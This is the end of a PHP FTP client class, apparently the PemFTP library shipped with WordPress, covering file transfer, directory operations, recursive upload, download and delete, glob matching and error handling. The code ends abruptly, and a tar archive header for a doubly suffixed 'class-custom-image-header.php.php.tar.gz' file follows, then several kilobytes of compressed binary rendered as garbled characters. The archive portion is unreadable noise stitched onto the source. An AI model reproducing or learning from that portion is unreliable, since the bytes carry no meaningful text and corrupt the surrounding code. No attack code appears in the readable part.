		if(!$this->_checkCode()) return FALSE;
		return true;
	}

	function chdir($pathname) {
		if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function rmdir($pathname) {
		if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function mkdir($pathname) {
		if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function rename($from, $to) {
		if(!$this->_exec("RNFR ".$from, "rename")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		if($this->_code==350) {
			if(!$this->_exec("RNTO ".$to, "rename")) return FALSE;
			if(!$this->_checkCode()) return FALSE;
		} else return FALSE;
		return TRUE;
	}

	function filesize($pathname) {
		if(!isset($this->_features["SIZE"])) {
			$this->PushError("filesize", "not supported by server");
			return FALSE;
		}
		if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message);
	}

	function abort() {
		if(!$this->_exec("ABOR", "abort")) return FALSE;
		if(!$this->_checkCode()) {
			if($this->_code!=426) return FALSE;
			if(!$this->_readmsg("abort")) return FALSE;
			if(!$this->_checkCode()) return FALSE;
		}
		return true;
	}

	function mdtm($pathname) {
		if(!isset($this->_features["MDTM"])) {
			$this->PushError("mdtm", "not supported by server");
			return FALSE;
		}
		if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		$mdtm = preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message);
		$date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d");
		$timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]);
		return $timestamp;
	}

	function systype() {
		if(!$this->_exec("SYST", "systype")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		$DATA = explode(" ", $this->_message);
		return array($DATA[1], $DATA[3]);
	}

	function delete($pathname) {
		if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function site($command, $fnction="site") {
		if(!$this->_exec("SITE ".$command, $fnction)) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function chmod($pathname, $mode) {
		if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE;
		return TRUE;
	}

	function restore($from) {
		if(!isset($this->_features["REST"])) {
			$this->PushError("restore", "not supported by server");
			return FALSE;
		}
		if($this->_curtype!=FTP_BINARY) {
			$this->PushError("restore", "cannot restore in ASCII mode");
			return FALSE;
		}
		if(!$this->_exec("REST ".$from, "resore")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return TRUE;
	}

	function features() {
		if(!$this->_exec("FEAT", "features")) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		$f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY);
		$this->_features=array();
		foreach($f as $k=>$v) {
			$v=explode(" ", trim($v));
			$this->_features[array_shift($v)]=$v;
		}
		return true;
	}

	function rawlist($pathname="", $arg="") {
		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist");
	}

	function nlist($pathname="", $arg="") {
		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist");
	}

	function is_exists($pathname) {
		return $this->file_exists($pathname);
	}

	function file_exists($pathname) {
		$exists=true;
		if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE;
		else {
			if(!$this->_checkCode()) $exists=FALSE;
			$this->abort();
		}
		if($exists) $this->SendMSG("Remote file ".$pathname." exists");
		else $this->SendMSG("Remote file ".$pathname." does not exist");
		return $exists;
	}

	function fget($fp, $remotefile, $rest=0) {
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($remotefile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("RETR ".$remotefile, "get")) {
			$this->_data_close();
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			return FALSE;
		}
		$out=$this->_data_read($mode, $fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $out;
	}

	function get($remotefile, $localfile=NULL, $rest=0) {
		if(is_null($localfile)) $localfile=$remotefile;
		if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten");
		$fp = @fopen($localfile, "w");
		if (!$fp) {
			$this->PushError("get","cannot open local file", "Cannot create \"".$localfile."\"");
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($remotefile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			fclose($fp);
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("RETR ".$remotefile, "get")) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		$out=$this->_data_read($mode, $fp);
		fclose($fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $out;
	}

	function fput($remotefile, $fp, $rest=0) {
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($remotefile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("STOR ".$remotefile, "put")) {
			$this->_data_close();
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			return FALSE;
		}
		$ret=$this->_data_write($mode, $fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $ret;
	}

	function put($localfile, $remotefile=NULL, $rest=0) {
		if(is_null($remotefile)) $remotefile=$localfile;
		if (!file_exists($localfile)) {
			$this->PushError("put","cannot open local file", "No such file or directory \"".$localfile."\"");
			return FALSE;
		}
		$fp = @fopen($localfile, "r");

		if (!$fp) {
			$this->PushError("put","cannot open local file", "Cannot read file \"".$localfile."\"");
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
		$pi=pathinfo($localfile);
		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
		else $mode=FTP_BINARY;
		if(!$this->_data_prepare($mode)) {
			fclose($fp);
			return FALSE;
		}
		if($this->_can_restore and $rest!=0) $this->restore($rest);
		if(!$this->_exec("STOR ".$remotefile, "put")) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			fclose($fp);
			return FALSE;
		}
		$ret=$this->_data_write($mode, $fp);
		fclose($fp);
		$this->_data_close();
		if(!$this->_readmsg()) return FALSE;
		if(!$this->_checkCode()) return FALSE;
		return $ret;
	}

	function mput($local=".", $remote=NULL, $continious=false) {
		$local=realpath($local);
		if(!@file_exists($local)) {
			$this->PushError("mput","cannot open local folder", "Cannot stat folder \"".$local."\"");
			return FALSE;
		}
		if(!is_dir($local)) return $this->put($local, $remote);
		if(empty($remote)) $remote=".";
		elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE;
		if($handle = opendir($local)) {
			$list=array();
			while (false !== ($file = readdir($handle))) {
				if ($file != "." && $file != "..") $list[]=$file;
			}
			closedir($handle);
		} else {
			$this->PushError("mput","cannot open local folder", "Cannot read folder \"".$local."\"");
			return FALSE;
		}
		if(empty($list)) return TRUE;
		$ret=true;
		foreach($list as $el) {
			if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el);
			else $t=$this->put($local."/".$el, $remote."/".$el);
			if(!$t) {
				$ret=FALSE;
				if(!$continious) break;
			}
		}
		return $ret;

	}

	function mget($remote, $local=".", $continious=false) {
		$list=$this->rawlist($remote, "-lA");
		if($list===false) {
			$this->PushError("mget","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
			return FALSE;
		}
		if(empty($list)) return true;
		if(!@file_exists($local)) {
			if(!@mkdir($local)) {
				$this->PushError("mget","cannot create local folder", "Cannot create folder \"".$local."\"");
				return FALSE;
			}
		}
		foreach($list as $k=>$v) {
			$list[$k]=$this->parselisting($v);
			if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
		}
		$ret=true;
		foreach($list as $el) {
			if($el["type"]=="d") {
				if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) {
					$this->PushError("mget", "cannot copy folder", "Cannot copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
					$ret=false;
					if(!$continious) break;
				}
			} else {
				if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) {
					$this->PushError("mget", "cannot copy file", "Cannot copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
					$ret=false;
					if(!$continious) break;
				}
			}
			@chmod($local."/".$el["name"], $el["perms"]);
			$t=strtotime($el["date"]);
			if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t);
		}
		return $ret;
	}

	function mdel($remote, $continious=false) {
		$list=$this->rawlist($remote, "-la");
		if($list===false) {
			$this->PushError("mdel","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
			return false;
		}

		foreach($list as $k=>$v) {
			$list[$k]=$this->parselisting($v);
			if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
		}
		$ret=true;

		foreach($list as $el) {
			if ( empty($el) )
				continue;

			if($el["type"]=="d") {
				if(!$this->mdel($remote."/".$el["name"], $continious)) {
					$ret=false;
					if(!$continious) break;
				}
			} else {
				if (!$this->delete($remote."/".$el["name"])) {
					$this->PushError("mdel", "cannot delete file", "Cannot delete remote file \"".$remote."/".$el["name"]."\"");
					$ret=false;
					if(!$continious) break;
				}
			}
		}

		if(!$this->rmdir($remote)) {
			$this->PushError("mdel", "cannot delete folder", "Cannot delete remote folder \"".$remote."/".$el["name"]."\"");
			$ret=false;
		}
		return $ret;
	}

	function mmkdir($dir, $mode = 0777) {
		if(empty($dir)) return FALSE;
		if($this->is_exists($dir) or $dir == "/" ) return TRUE;
		if(!$this->mmkdir(dirname($dir), $mode)) return false;
		$r=$this->mkdir($dir, $mode);
		$this->chmod($dir,$mode);
		return $r;
	}

	function glob($pattern, $handle=NULL) {
		$path=$output=null;
		if(PHP_OS=='WIN32') $slash='\\';
		else $slash='/';
		$lastpos=strrpos($pattern,$slash);
		if(!($lastpos===false)) {
			$path=substr($pattern,0,-$lastpos-1);
			$pattern=substr($pattern,$lastpos);
		} else $path=getcwd();
		if(is_array($handle) and !empty($handle)) {
			foreach($handle as $dir) {
				if($this->glob_pattern_match($pattern,$dir))
				$output[]=$dir;
			}
		} else {
			$handle=@opendir($path);
			if($handle===false) return false;
			while($dir=readdir($handle)) {
				if($this->glob_pattern_match($pattern,$dir))
				$output[]=$dir;
			}
			closedir($handle);
		}
		if(is_array($output)) return $output;
		return false;
	}

	function glob_pattern_match($pattern,$subject) {
		$out=null;
		$chunks=explode(';',$pattern);
		foreach($chunks as $pattern) {
			$escape=array('$','^','.','{','}','(',')','[',']','|');
			while(str_contains($pattern,'**'))
				$pattern=str_replace('**','*',$pattern);
			foreach($escape as $probe)
				$pattern=str_replace($probe,"\\$probe",$pattern);
			$pattern=str_replace('?*','*',
				str_replace('*?','*',
					str_replace('*',".*",
						str_replace('?','.{1,1}',$pattern))));
			$out[]=$pattern;
		}
		if(count($out)==1) return($this->glob_regexp("^$out[0]$",$subject));
		else {
			foreach($out as $tester)
				// TODO: This should probably be glob_regexp(), but needs tests.
				if($this->my_regexp("^$tester$",$subject)) return true;
		}
		return false;
	}

	function glob_regexp($pattern,$subject) {
		$sensitive=(PHP_OS!='WIN32');
		return ($sensitive?
			preg_match( '/' . preg_quote( $pattern, '/' ) . '/', $subject ) :
			preg_match( '/' . preg_quote( $pattern, '/' ) . '/i', $subject )
		);
	}

	function dirlist($remote) {
		$list=$this->rawlist($remote, "-la");
		if($list===false) {
			$this->PushError("dirlist","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
			return false;
		}

		$dirlist = array();
		foreach($list as $k=>$v) {
			$entry=$this->parselisting($v);
			if ( empty($entry) )
				continue;

			if($entry["name"]=="." or $entry["name"]=="..")
				continue;

			$dirlist[$entry['name']] = $entry;
		}

		return $dirlist;
	}
// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Private functions                                                                 -->
// <!-- --------------------------------------------------------------------------------------- -->
	function _checkCode() {
		return ($this->_code<400 and $this->_code>0);
	}

	function _list($arg="", $cmd="LIST", $fnction="_list") {
		if(!$this->_data_prepare()) return false;
		if(!$this->_exec($cmd.$arg, $fnction)) {
			$this->_data_close();
			return FALSE;
		}
		if(!$this->_checkCode()) {
			$this->_data_close();
			return FALSE;
		}
		$out="";
		if($this->_code<200) {
			$out=$this->_data_read();
			$this->_data_close();
			if(!$this->_readmsg()) return FALSE;
			if(!$this->_checkCode()) return FALSE;
			if($out === FALSE ) return FALSE;
			$out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY);
//			$this->SendMSG(implode($this->_eol_code[$this->OS_local], $out));
		}
		return $out;
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!-- Partie : gestion des erreurs                                                            -->
// <!-- --------------------------------------------------------------------------------------- -->
// Gnre une erreur pour traitement externe  la classe
	function PushError($fctname,$msg,$desc=false){
		$error=array();
		$error['time']=time();
		$error['fctname']=$fctname;
		$error['msg']=$msg;
		$error['desc']=$desc;
		if($desc) $tmp=' ('.$desc.')'; else $tmp='';
		$this->SendMSG($fctname.': '.$msg.$tmp);
		return(array_push($this->_error_array,$error));
	}

// Rcupre une erreur externe
	function PopError(){
		if(count($this->_error_array)) return(array_pop($this->_error_array));
			else return(false);
	}
}

$mod_sockets = extension_loaded( 'sockets' );
if ( ! $mod_sockets && function_exists( 'dl' ) && is_callable( 'dl' ) ) {
	$prefix = ( PHP_SHLIB_SUFFIX == 'dll' ) ? 'php_' : '';
	@dl( $prefix . 'sockets.' . PHP_SHLIB_SUFFIX ); // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.dlDeprecated
	$mod_sockets = extension_loaded( 'sockets' );
}

require_once __DIR__ . "/class-ftp-" . ( $mod_sockets ? "sockets" : "pure" ) . ".php";

if ( $mod_sockets ) {
	class ftp extends ftp_sockets {}
} else {
	class ftp extends ftp_pure {}
}
class-custom-image-header.php.php.tar.gz000064400000025550150275632050014206 0ustar00��}kw�F��|�~E�QB*KR'�ɒ��N&�gf��;{��"!6pP��}��o4@R�3svÓX$�]]]]U]]]�=+��A�i�'���L�:��e�LǓb~p���y���$[N��`����dY��|���d4K�iR�����C���o����~w|t���o��{z�������O���P��=�:���o�ֿ���s�݃���_�_f��<��XT�2]�c(���mO>����
pLEO��z�Y&��������&��t�["��G�C����,+�^��x�Nޔ�")�4���R=� F�T�#����6�_�Yvȉ����Dc����ƥ�@��*K����ⳳX^e�D���AD��i[˲���v�枎[�#�E%��E6��4���Y-����ⲌW�� d�*q���vko�d*�B�ezs}�E��L�'������%����N�J,Ӹ�*q>Ň\u�X�y1�WE�)���@�=	ʡv�ø.'5{$~Nn`����x���@#���\O�xwm���i�Xę�("�e�X�.bf@��������aG�g��� ;;{�,�F�A>g���
6�ɮ;�t�ԡ��s�y�/�C�f��>]��7�1�J�*�M��F�	�*��(�:Z�J�ȻE���#9�q�GP9M�TP�Kl�t�[�+�yq�t��e$ԏ��\$5ʦ�A=ϊ�CE�
�jR��8�h��8�p Y+�.�.�y��ى�w�P_���>ܮd?���l� �����!?�IGL��4x��^��x"�ܧ�2��e�#���ў�R�y�DZ��A�?�������|Z�ʒ`�j3hH�v(�$3�F��C"k�o�}e�W�Щ��جo�
�x�t%��fY��ur_/A�#��g��L`)7��&˲L�E�$�#>�Eu|50��v�)(����>uy�&w��;}�泤�/�D�'U@Jp?b��^=;�;�g��s�_� �1�m)'y�HYO�J��Oq-VŒ��<#njE��A
4��&�\L@�T��.A�*U��~|�ݩoư�7�n�D�'���.4�*�YqDž.R0~A��K|��#.q��Y��u�B�%b��q��G�k�I�xImK��c���VU,*�T:��2���E����hϥ�28����|�'w
�]�e�Yz�U�a��Vc�"�����s�mF8T�׳�3�`�J��W�d�s��W�*��^�q	eV�@H'��$l�?�O_2����ѩ�Z�u���X�2������ᬔJ��a9�O3`�
���9pf��UF��^g �+2)ָ+����AR�cw�,�r�j�μ�e��;/J�uN�Ĉ��a�z܊����T��-���#�*T�n,����m�^_'(?��fOfdQhQf�|��g�HS�Ӵ����~�z�Gz�Jv_>Q*$9�8��$�Y|�%Y`Z����]���9�Y�|e������e�䀟�<�𻌀U��UQ���]����)2����[��t��D��!~c/ǹP-5.
<��jI��b�v�v�,�����/Xf�z��ܺ�w��%k�W@���Nė�۟��T�s�'%����N���5��伨j���0 �8�v�W��if��S0���3�2�>�}Y��}4���3ƺ�h�ų,3�I���7��^ #�B��̈�
���7K���zJ_Pa��L�)(�ڟ۹2�sEV�z�B����Y�%�T��LRnx���@�Xd�
��9�~���1��q�����Xq����T‰������qC�
�e�P��@.)��W�`�
{J։�Z��dр�>�Z�p�L�V�Ⓒ�zV�e����4��[9����Vi~���:98���~|��'�1t���b�� j�ԋ.���b����Ё��e*�{����-W�Ţ(���r^��/���~LSg}�g\QӘ3�EU'���@������K|'�rU�V0~�.����/�}|��k7{�*��BuK�b|-N���<G��_�S��~�!ı8;;�Ͼ�
P�[D��H�WQ^@�������_��nAG���;���^PT�O�`6���G�8�-T����I��}�,���=��/h�/�SX�o�1��q"�J�Vy��RxdCCe~jZI4#�������b�Q��k`nJ)
��HQ�U�w`�b�D���ň�㈵�j�#�H�*����N�]��
h����~p��5r//.Z���!��-�2f�ݟJj�8�-j%��4�`6 ��dY��YE�X�R��
1@`˗�j=E%Xh��������|�d��������֢r �.�m^����\�a:Aㆆ�RÓY2���s��JDG�W)ڔ����P�6��ԛ�`��
�7�}(����Є0�^iW:+���9�?���gl�U������;$�6��� "N��/ �FPbS�L�Muc�=��?��?ţ���l�(�g`�
	u�4�Qc�<�3���j�tcFቁ�1,gDy�j�[�����P5e�Q�o�7z6s�7�=W8?�Ɋ+X��JP�	��nn�ܨ_Z9�j��w���Y�{�x��	�榕[��kY�m�;&��e�[�+X��T�n��l�����,�rnm��Z�]���+7��>$����q%���.�.z�����/ˌU��\ٴ�P��@�l�#-���j��-�Wy�f�C� <�
I|�\%޾&��2t:H]�ܒC�UH/f��1�j��H��r/+׷�%'x���
�W+���U!�6��:�a���{{�j�PL����{�TZ_�e�;���W�>�}�^_��7�ӺR�*�ˣS������e֚�d�SQ%^&$'̀ƠhT@�Wrf�J��%R3��<Ϡ��uhC�%�Y!��0�����z�Rrb�0U,����Y�c�Kϓ��;�hL�4-z�� ѝ��E��=|FSh2�I7������>�1���9�@"����^��'ڭE#�����dW��N��L熺M�ŷ�9�U/�Q�����a����ղ2Y�JB�g
=ujW�'R�
�bqV�9���D�J�wd�<����KV�M:xL�(L���T�(��r�8�'V�h1�	�i*wR�����i=��+�LyҤT]��w3J��ah��w����Ʀ���EUNL�ŏ�|��	"n:d�a_uƣ�<z��(I ��]}�O�$�Q傦xЛ`�զ�"ɧ<ѵ9X�|l�*n��*:l�1ŏ���E�����tD; O�r�0vL05ߨUs��A%�ֲ�"�߄9	sc�F�<��,��-N�q�W~�!.vml�籵���y~���ݒR!f�a\�i�|w�(<�ۇf0ܵ��i��
L���9o�X���:M�)�}�
*�|���U�:�����?�Tՠ��\�T��B��%,��A���6uqs�%���(��fU�����6�cX�-�q.��L�&}��cnn�����<s�m�D��g���>�C�J4y�?�XƌO�m�Y%}��@�E�=l���Ȁ�uǥ�nAȽ!7�@�6p��Ġ#`a��C�L���{��ܷ�-�4���]u�׌�� ��n��U�̲(�GV�,b!���y�Q���8i]�R�����,�r��$�p�Jo�ۏ����D�͔���"�>��DqP��J� w݄�G@n�����H`
��+�^�;��,Iof�Wh�T�*�{�J��tk|��e��F!Ǫ�TB]}"T�,�.XF���9�=��LȾ���r�tLX2�1z�E�i����d����ߌ��/*H/���DVɟ��$�۹�O���\��ʊ�ؽ���O�
VEe[{?^�r�#AX�&�fIu�+@|�^.�'.٭��G'␾���F��ï��%E��G��,�Β��f�7*[BP�IN#IQ�I;q�2�������&�'}���o:��z!\����Ė������05��#�7|�=�
`���_�ͤ%�X�@�n4X<���"\beJ�X��/��d��Fs���&��M���U㥍�N'��p��&�M'�봬8F~��­sU�Y��J�u��g�]{-{W��)�͎Ιiȓ�(I�xvevM�����C���J��\��a`�s��,eN\�B���R�+:��yq'�q�B�1�{�(�+�B1�:O�(D;Qw���˺�.�٥�;��,���
(/�t�H缤�l����Ѽ�{�^ �P65��7��
-f�@!������Qz=ʋ�=>\��־{��̐�'�C�#Ʈ��c&B��C��
T�H��P
��L	x�a
�#�B�Acr�T�T�x
����FB��t0dCA�K����XHq<Ƃ5�FKi���=�	�A0�1JP����W�teĘW\IY�̴�`�^.<�K�g&�IA���g����Mc[ϰ��in���TZ��A��A������R�i���,�gK���E}�>8��.��D	�wS�|��'ȥ��Ӈ7�be/�ۣ�&TYG���sv�v�:H`U��qBޣ @oq��ko���mr�`�D�E4RhjK�g=,FCOг�eE흻���MT4�UC��?!O��2:�b@cy��e�l�$/��T26��1�=b=��z�l�pO�V��>!��Q�8�I-�u���'T_e&ź'@٤�4�?덎��[E�M�T@,m�3L�{�Ͷ�a���M�o�B�UJ�#)��F�o��6���*Ȁ��˵�"/��:ֹ����H�ʼw0:C�Ma�]G�L:e��ZQg����Ie�mo�7*(ё�M��bY��,J�3`^S|.XY�7/0�����Pb����S����U)�ĿȪ�I��mXlsf�E�>O�A‡�X���K�2�6��"�ErO�l%Ԯ�G{S�U���q*�<��l�*�Rl\��J�mM�y�Ւp�:.�Aj���������
��3H H�%yEYrY����
�^��	E�/-����D�K�qBh[-��I-_*�Yt�ۍ��������ؠ�c9g>�(�`E>�(2޿�0��G��I�V��K�����by,��Z��+���>�ПA����X������9X࿸$�r�{T�s��|4��G�0�\#|�����y<O�YeEV1�8+�|�$俣3���eɁ�6jzl2��K0��pp�Nyh��ߚቶFe`�2�d���d��=��ΑԽ@�Y:�&�*ǝ�Px�R϶1���y��.7W�#�u�ot*���j��'���ު����2}F�x�-#vo^L�,b�O�K+y����É��i���)p4T��x�����N�іI�m��ҝ�t�r��"�<ȇ�/=B^�%��?8��S����,G�9T�W#[������k���#�	�``�Y�4nSז�k�ܹ����!\��*�9`�ž)�{i���ukex�^E���:tK��d�ud+��H�K<���9��
����'�Y(��>��p��E)o���b�7^�K��m�bY��rhҥ= ��8X��CM��n�,b��"͵0�|�1��n��r�ୡ�{VJ��Yli5�3���ԅ:�H�dA��2g�T��Ud�����R��I;�f���~�&hc�0y۰G�Ͼ?�Ci6�ѹa�3���2|���Q�\Vx�0&�+}r��*(KA3"p���)��VOcuq�
��I�ݕ�*.U��-Y\�@{�֮s"���W_���	F���<Zl{F�q�#���&����,�0~RM�1�����
����F\8i��MKynѧ�Y��P{ΐ����Р�ګ�^-5�r	���u�E�nm��۟�*XrEk҉n4s0�yF����F���:�{�R����e��p��F�?z����oHo;���d��3��/ȒW��Ǎt/�Z&��� P[�6#����m��'����@$Dn�P#s!�Is�ͩ!��'�d�����`��l��̱2XXYD�����B��zr�)C�T�+�wK<�h�3��)Td�{̶��t������rĆ��Y=�h*4xn�k=)�椢��1I(#�~�����k5��T�N;��Xnx�:�'�1�b�:�B�8FngZ��n+���X�4�����^�����rն4ճ�ZuӶ��NgTa��dM?CX�+�䈇-�kV��d$FxA*#����
��F�a��:z�u\RVsNN�Cq+Z���*y/k[<Q�yT��7�O�����А�Ih�,�S)��$K��}�<����}��@��
x�
��Uu�=�Ձ��นr�Կ>ﷁ���4A�;��E���w��#��n��Ӊ`4rT�d�e��-�s�Jl�kE�}Z!�2hݑ�d��'�BrR��(H'�HB��(��D���aBC��kdԈȽ�3Mt����dgy����D2�(k��]��BX榚0��7��#�1|ȳƁ�Sq�p(��$*9u�:��_G�.��2��4_�
�#�z�V����o;:�b�./l]Gֵ���GVO���h.�0�ن���'��LdK���Ҕ����n>���[DIpP��|Z�ϧ�@}f���A9��k{ f�����]�G4~1e*�k�K��)�6PCV&x��t{�	�zn��xiO趫�51��2��#��xf;s�@dOD�����X
sk8�Op�֤� �M!��k��������=�ŝc� ���o|3v+�9������ׯd�3��-�Xd+�ב2tb�ګ#�8i;�!6�!U��alD&��z�������¹�Q�>+�:��/?>��ȵ��S��B�/]��g��9��e#ͭ��(7�%"@(�Sr��W��8��Tq�%Uk:EmEG����/��Ӓ�D�n��+�GT�%�����آ]+L��^�M��Qf�`���VJ�v�w'E[�D|�lʇ���А/�Ǧ��肔	r�2+�xL��|p����)6U���ʍ��U�j���a����P�(_{F��Zbϊ�y�a�)�?rr;֧_aDl8����6W��� 
%+S]
�c�_¢�ַ"{�>n]�S�%G�{J�ƨ%u
����'�V�xm��@ôc�k�
�S����sl��} �۬�	��3�P��"���C�Y�QI�?��{:ʆ[��#*�ǿ҅u(k�WZ�J�m*Q���*�z���39p�ր�d����H6��hn�{��VCm�$	=7%�v6�:�m��l�+�-�v�Xߎ��nd���C'��I��0��9�\�O!g_X{�R��p
{���j��]��,f�f�*�H�"��iH�DY��W��
.>����K��2q��ʊ:��Dw,kQ�L4�Y�8m_�u1&O��4��"�\�ay~�ƛ�l8eo+a07v�~�Tu�XS���.�h�0i��E?����}$d��p+��g�eINL�4F�pCD�/��8���
�����̢y
����
�Y����x-��c�Q��P�Rv?�(��T�?K��1��U�$��C#���n��V��q��H
��wM�%��dܴC�Lо4}��y��:ݵ�u������u�&W�
}ݪ�|$�å���57b��hbE�^��ԭM	}'�����K�����7K7�ة*���[/����+�'h�D�Bi^%��6t湡C7�4�ƺ�B�%�5>�ֿkDo\�����}��T=��.����'y��Q��A�A����nD�7OT�kr`�ܪ�p�0��K�=�b�ĝ=���y�Z=��T��ᮾ������+�"�#��-�E@�s���U�|uϥҵ}�W>�k���V�k�]��z�]QoP���Q�&�D�;j\�q�)�4:$lӭ5e�LA���`�,+ün��Xg��&8ɓv	I:�
-�P{Y����BT*P�h)*�M�N^5g)�rcg���ɰ_��M�KĀ�Ȍ}˂�����`,Vr�W<������JT�n�Ջ�!�[�?ʨ���q�����QV���蚋R�e���=����B�Է���v�y{��Ji���.|KA���e7�ڈ��N�eڐf_Y�S?�N����rA]�$���%�5z�w�.f��A��F�l���Z�U�������eS��h�E޹1.���۳��O13m���V�����/,s�h��j�v��-�����u��E^���(�R�:��_�B?ˊ;��r�����o?�[vy���
O͹�1���os:�B����;���2�-;�'�:�M�_����
.�E�4pj�*!�ޜ>jj01CQσb�3����>a���x8�#Yު�����U��a�\I�X8;k���޽+C�7���-��b�<ȿ�aF�1��Ղ&j����ߌv��@�MfE
E�6K'�����%��=�kap�Nm:D�/��pSZ��7��_]>YM2Z����7�P�֩�����
hz��!��������(�ؤ��t�=i�S��@��Y�zt*��1�h�_9q�c�S�pJ\ސmW���ok�n��J*���4f��}�B��f��/�y��d&K��u,]��%��vSϵ]��Ā��"Ξ�r���e�L�_�dB�A�*��-	N��5L����9�<�S��{�/�5��&-,[z ��t ����k��K[Z�)�.�e�(�,��2���	�4�u�˜����=&�?�&�p�����@cp�ԡ��E`���i��=����-�\[a٦��ED�A7�쪼@���-=�[k���n.]��9U�.5j��=$&�*-Q���K�ulM�Z�Z�U�}Ġ�J$U���[�X��t
�nVvΎ�
��m�����^f4�OB�Uxs�0E����(b�'����Qv�צ�)1���3�>�2��w7>GZ%
m����аܥG�U��`p��O�ٰ�I_���V�@
kR�ź�,|��u�$�OS�x�LY�:O���J|n�F*ᗕ� ;W�Ň���4���j[�Eŗ��q6Y"�+y������w��T�h����D��˽�c��u�e<Ձ���r�2Gy��8m�R�Ԅ�v�rȬXX�I?����}�=�:��w�wU2��_�Cj�n(����`�!}��Wn[E:��;o.4��Ѝ@
��m����+k�x�L ��тڀ��k#G����0��l������&���p�m��<Bq_O]�X8z]��U��Af��������p`
ŏ���6
��U��o{���B��q$v�SGi+�8\�!��H5�hW�ٶR�*i�L�E�	���2��>φ���'���M��Kf�D��y!�URGz*.eMd�$�B}��&��pwT�P���WY9/J�T�+�A[�SS%��e�B�s ײ�7;7�,����5t˱]HjX��L�6�T&D$oQ��T�%��e#�(Q���/�>ߡ50�+��?�0Cd����0��Κ�^ܚ�ģE�Ɇ�n8qia<�}M��Тݗ֕�J��qi7��u(�tښ<]�WpQ�i`�֭-����<�n�=8����Ld��ƴ����#]�R���V���n6��%�).��-�An���\�w찕�g
